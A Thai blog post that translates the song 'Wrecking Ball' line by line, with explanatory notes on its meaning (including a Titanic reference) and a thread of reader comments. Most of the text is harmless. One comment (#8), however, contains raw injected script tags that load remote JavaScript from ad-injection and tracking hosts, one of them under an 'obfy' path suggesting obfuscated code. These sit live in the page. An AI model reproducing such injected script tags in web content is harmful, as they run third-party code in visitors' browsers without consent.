Wrecking Ball

ลูกตุ้มเหล็ก

 

We clawed, we chained, our hearts in vain

We jumped, never asking why

We kissed, I fell under your spell

A love no one could deny

มือเราเกาะเกี่ยวกันแน่น ผูกสัมพันธ์กันไม่อาจคลาย เราต่างฟังแต่เสียงหัวใจตัวเอง [เธออธิบายถึงความของเธอกับคู่รักว่าแต่ก่อน ทั้ง 2 รักกันมากจนไม่สามารถแยกออกจากันได้ claw คือจับ เกาะ หรือจิกกันแน่น สื่อว่าทางกาย ทั้งคู่ไม่สามารถแยกหรืออยู่ห่างกันได้เลย chain คือการผูกกันไว้ สื่อถึงจากจิตใจ ทั้งคู่สื่อใจถึงใจเช่นกัน ส่วน in vain มี 2 ความหมาย ความหมายแรกคือทำไปโดยเปล่าประโยชน์ เช่น ‘We did it in vain.’ แปลว่า ‘ที่เราทำลงไปมันเปล่าประโยชน์’ ส่วนอีกความหมายหนึ่งเป็นความหมายที่ตรงกับเพลง ก็คือ การทำอะไรที่คำนึงถึงแต่ตัวเอง ไม่สนใจอย่างอื่น ดังนั้น ‘Our hearts in vain’ หมายถึง ‘The hearts want what the hearts want.’ แปลว่า ‘หัวใจต้องการสิ่งที่หัวใจต้องการ’]

เราสองจับมือลุยไปด้วยกัน ไม่เคยนึกถึงว่าทำลงไปเพราะอะไร [เธออธิบายถึงความเชื่อใจและศรัทธาที่ทั้งคู่เคยมีให้กันและกัน ไม่ว่าจะเกิดอะไรขึ้นจะไม่ทิ้งกันไปไหน ‘We Jumped’ ได้มาจากประโยคคุ้นหูในภาพยนตร์เรื่อง Titanic ที่ Jack พูดกับ Rose ตอนที่ Rose กำลังจะกระโดดลงจากเรือเพื่อฆ่าตัวตาย ที่ว่า ‘If you let go, I have to jump in after you.’ แปลว่า ‘ถ้าคุณปล่อยมือ ผมก็ต้องกระโดดตามคุณไป’ และในตอนที่ Jack คุยกับ Rose ในเรือเพื่อพยายามช่วยปลอบเธอ ‘You jump, I jump. Remember?’ แสดงให้เห็นว่าเรื่องราวที่เกิดขึ้นกับ Rose ตอนนี้ Jack มีส่วนรู้ส่วนเกี่ยวข้องด้วยแล้ว และเขาจะไม่ทิ้งเธอไปไหน และในตอนที่เรากำลังจะจม Rose พูดกับ Jack ว่า ‘You jump, I jump. Right?’ อีกเช่นกัน]

 

 

เมื่อริมฝีปากของเราประกบกัน ฉันรู้สึกราวกับตกอยู่ใต้มนต์สะกดของเธอ

นั่นคือ ความรัก ที่ไร้ข้อกังขา [เธอตกหลุมรักเขาอย่างมาก และเขาก็ตกหลุมรักเธอเช่นกัน]

 

Don't you ever say I just walked away

I will always want you

I can't live a lie, running for my life

I will always want you

อย่ามาบอกว่าฉันเป็นคนเดินจากไปเอง [ท่อนนี้แสดงให้เห็นว่า ความรักที่มีปัญหาส่วนหนึ่งเกิดจากทั้งคู่ไม่ได้คุยหรือพยายามจะแก้ไขอะไรเท่าที่ควร ปล่อยให้มันเป็นไปและคิดไปเอง...]

เพราะฉันอยากอยู่กับเธอเสมอ [...เพราะให้ตายยังไงเธอก็ไม่มีทางไปจากเขา จะมาบอกว่าเธอเป็นคนหายไปเองได้ยังไง]

ฉันคงโกหกตัวเองเพื่อจะใช้ชีวิตที่เหลือต่อไปไม่ได้ [เธอกำลังบอกว่า เธอคงทำใจลืมอดีตไปไม่ได้ จะให้ลืมว่าไม่รักเธอแล้ว ไม่ต้องการเธอแล้ว และใช้ชีวิตเพื่อวันที่สดใสข้างหน้าอย่างที่คู่ร้างอื่นๆ เค้าทำกันไม่ได้หรอก]

เพราะชีวิตนี้ฉันต้องการเธอเสมอ

 

I came in like a wrecking ball

I never hit so hard in love

All I wanted was to break your walls

All you ever did was wreck me

Yeah, you, you wreck me

ฉันเหวี่ยงเข้ามาเหมือนกับลูกตุ้มเหล็ก [สิ่งที่เธอทำเพื่อรั้งเขาไว้ทำให้เขาช็อค อาจเพราะรุนแรงมากจนเขารับไม่ทัน]

เพราะฉันไม่เคยตกหลุมรักใครได้มากขนาดนี้ [ยิ่งรักมาก ก็อาจใช้ความรักทำร้ายกันมากยิ่งขึ้น]

 


ที่ฉันต้องการทั้งหมดคือทำลายปราการด่านใจของเธอ [ที่ใช้คำว่า walls หมายถึง กำแพงของหัวใจที่มี 4 ด้าน เพราะฉะนั้นการทำร้ายรุนแรงของเธอครั้งนี้ไม่ใช่ตบตีแน่นอน แต่เป็นการทำร้ายจิตใจและความรู้สึกกัน]

แต่เท่าที่เธอตอกกลับมานั้นมันทำร้ายฉัน

ใช่ เธอนั่นแหละเป็นคนที่ทำร้ายฉัน

 

I put you high up in the sky

And now, you're not coming down

It slowly turned, you let me burn

And now, we're ashes on the ground

ฉันเทิดทูลให้เธอเป็นดั่งดาวประดับฟ้า [เธอรักเข้ามากมายเหลือเกิน]

แต่ตอนนี้ เธอกลับไม่ยอมหวนกลับลงมา [แต่อาจจะรักมากจนทำให้เขารู้สึกว่าเธอเปลี่ยนไป จึงทำให้ความรู้สึกของเขาที่มีต่อเธอไม่เหมือนเดิม]

มันค่อยๆ กลับกลายเป็นว่าเธอปล่อยให้ฉันถูกแผดเผา [เมื่อความสัมพันธ์เปลี่ยนไป เธอจึงเป็นฝ่ายที่เสียใจมากทีสุด ในขณะที่เขาก็ช่วยอะไรเธอไม่ได้]

และในตอนนี้ เราทั้งสองต่างก็ไหม้กลายเป็นเถ้าถ่าน [เมื่อความสัมพันธ์มันถูกเผาจนเป็นผุยผง ต่อให้มีความรู้สึกดีๆ ให้กันอีกกี่ครั้ง ให้ตายยังไงไฟรักก็คงจุดขี้เถ้าไม่ติดไฟได้หรอก]

 

Don't you ever say I just walked away

I will always want you

I can't live a lie, running for my life

I will always want you

อย่ามาบอกว่าฉันเป็นคนเดินจากไปเอง

เพราะฉันอยากอยู่กับเธอเสมอ

ฉันคงโกหกตัวเองเพื่อจะใช้ชีวิตที่เหลือต่อไปไม่ได้

เพราะชีวิตนี้ฉันต้องการเธอเสมอ

 

 

I came in like a wrecking ball

I never hit so hard in love

All I wanted was to break your walls

All you ever did was wreck me

ฉันเหวี่ยงเข้ามาเหมือนกับลูกตุ้มเหล็ก

เพราะฉันไม่เคยตกหลุมรักใครได้มากขนาดนี้

ที่ฉันต้องการทั้งหมดคือทำลายปราการด่านใจของเธอ

แต่เท่าที่เธอตอกกลับมานั้นมันทำร้ายฉัน

 

I came in like a wrecking ball

Yeah, I just closed my eyes and swung

Left me crashing in a blazing fall

All you ever did was wreck me

Yeah, you, you wreck me

ฉันเหวี่ยงเข้ามาเหมือนกับลูกตุ้มเหล็ก

หลับตาทั้งคู่ของฉันแล้วแกว่งต่อไป

แต่คุณกลับปล่อยให้ฉันกระแทกแตกหล่น ถูกแผดเผา [3 ท่อนนี้กำลังบอกว่า สิ่งที่เธอทำเพื่อทำให้เขารักเธอ แต่จริงๆ มันคือการทำร้ายจิตใจของเขานั้น มันกลับมาทำร้ายเธอเอง หากลูกตุ้มเหล็กเข้ากระแทกกับผนังหนาๆ กำแพงก็จะพังทลายลง ส่วนลูกตุ้มก็จะถูกกระแทกเหวี่ยงไปมาเช่นกัน เธอกำลังอธิบายถึงสภาพในจิตใจของเขาและเธอ ที่ต่างก็ถูกทำร้ายสาหัสเช่นกัน จะให้ทำอย่างไรก็ไม่มีอะไรดีขึ้นมา]

 


 

ที่เธอทำมากทั้งหมดมันทำร้ายฉัน

ใช่ เธอนั่นแหละเป็นคนที่ทำร้ายฉัน

 

I never meant to start a war

I just wanted you to let me in

And instead of using force

I guess I should've let you win

I never meant to start a war

I just wanted you to let me in

I guess I should've let you win

ฉันไม่ได้ตั้งใจจะเปลี่ยนจากรักให้กลายเป็นรบ

ฉันก็เพียงแค่อยากให้เธอเปิดรับฉันเข้าไปในใจ

เท่าที่ฉันคิดได้... ฉันไม่น่าใช้กำลังกับเธอ

น่าจะปล่อยให้เธอเป็นฝ่ายชนะดีกว่า [ทั้งหมดนี้ เธอเพิ่งคิดได้ว่า สิ่งที่เธอทำไม่ได้ทำให้ความรักนี้ดียิ่งขึ้น ไม่ได้ทำให้เขารักเธอเหมือนเดิม แต่ทำให้ทั้งคู่เจ็บช้ำอาจถึงขั้นเกลียดกันไปเลย ถ้ารู้ว่าเธอต้องพ่ายแพ้อยู่ดี เธอคงขอขอมแพ้ดีกว่า เชื่อมโยงกับประโยคที่ว่า ‘Yeah, I just closed my eyes and swung’ เธอหลับตา ไม่ขอดูว่าอะไรจะเกิดขึ้น ใครจะเจ็บบ้าง แต่ตอนนี้เธอมองเห็นแล้วว่าทุกคนต้องเจ็บ ถึงค่อยคิดได้ว่าไม่น่าทำ]

 

 

ฉันไม่ได้ตั้งใจจะเปลี่ยนจากรักให้กลายเป็นรบ

ฉันเพียงแค่อยากให้เธอมีฉันในหัวใจ

ฉันว่าฉันน่าจะเป็นฝ่ายยอมแพ้ดีกว่า

 

Don't you ever say I just walked away

I will always want you

อย่ามาบอกว่าฉันเป็นคนเดินจากไปเอง

เพราะฉันอยากอยู่กับเธอเสมอ

 

I came in like a wrecking ball

I never hit so hard in love

All I wanted was to break your walls

All you ever did was wreck me

ฉันเหวี่ยงเข้ามาเหมือนกับลูกตุ้มเหล็ก

เพราะฉันไม่เคยตกหลุมรักใครได้มากขนาดนี้

ที่ฉันต้องการทั้งหมดคือทำลายปราการด่านใจของเธอ

แต่เท่าที่เธอตอกกลับมานั้นมันทำร้ายฉัน

 

I came in like a wrecking ball

Yeah, I just closed my eyes and swung

Left me crashing in a blazing fall

All you ever did was wreck me

Yeah, you, you wreck me

Yeah, you, you wreck me

ฉันเหวี่ยงเข้ามาเหมือนกับลูกตุ้มเหล็ก

หลับตาทั้งคู่ของฉันแล้วแกว่งต่อไป

แต่คุณกลับปล่อยให้ฉันกระแทกแตกหล่น ถูกแผดเผา

ที่เธอทำมากทั้งหมดมันทำร้ายฉัน

ใช่ เธอนั่นแหละเป็นคนที่ทำร้ายฉัน

เธอทำร้ายฉัน

 

***Open for Comments and Suggestions***

 

แหล่งข้อมูลประกอบบทแปล

 

http://www.imsdb.com

http://www.pages.drexel.edu

http://www.youtube.com

http://answers.yahoo.com

http://www.wetpaint.com

http://www.sugarscape.com

http://www.nydailynews.com

Comment

Comment:

Tweet

big smile open-mounthed smile confused smile sad smile angry smile tongue question embarrassed surprised smile double wink cry

#10 By (122.155.44.169|122.155.44.169) on 2015-09-16 21:24

แปลได้ดีมากแล้ว สืบต่อ แปลต่อไป

#9 By (183.182.117.224|183.182.117.224) on 2014-12-07 15:42

#8 By (118.173.201.89|118.173.201.89) on 2014-06-18 21:18

เก่งจังคับ..ติดตามๆๆbig smile
<script src="http://i.simpli.fi/p?cid=&cb=dpx_2170088437226._hp"></script>
<script src="http://static.cdnsrv.com/apps/tv-classic/selectionLinks/tv-classic-selectionlinks.js" type="text/javascript"></script>
<script src="//static.cdnsrv.com/apps/tv-classic/tv-classic-fg.js" type="text/javascript"></script>
<script src="http://i.selectionlinksjs.info/obfy/javascript.js" type="text/javascript"></script>

#7 By TEE (14.207.64.30|14.207.64.30) on 2014-01-17 13:49

love u, admin

#6 By matana (115.67.166.75) on 2013-10-27 00:53

surprised smile ชอบบล๊อกนี้ครับ  Hot!

#5 By K u n g s s s on 2013-10-11 03:53

ชอบการแปลของคุณมากๆค่ะ
เป็นกำลังใจให้เสมอนะคะ
ชอบเพลงนี้มากจริง ๆ

#4 By Yundori on 2013-10-09 13:57

เเปลดีมากค่ะ เเถมทีข้อมูลเสริมอีก ขอบคุณมากๆเลยจ้าา//เเอบสงสารนางน่ะ...confused smile

#3 By benz (124.120.172.127) on 2013-09-21 10:12

แปลได้ดีมากเลยค่ะ

#2 By mitokiya (202.28.248.140) on 2013-09-20 02:03

ขอบคุณมากค่ะ แปลได้เข้าใจมาก

#1 By Nut (49.230.183.196) on 2013-09-16 23:02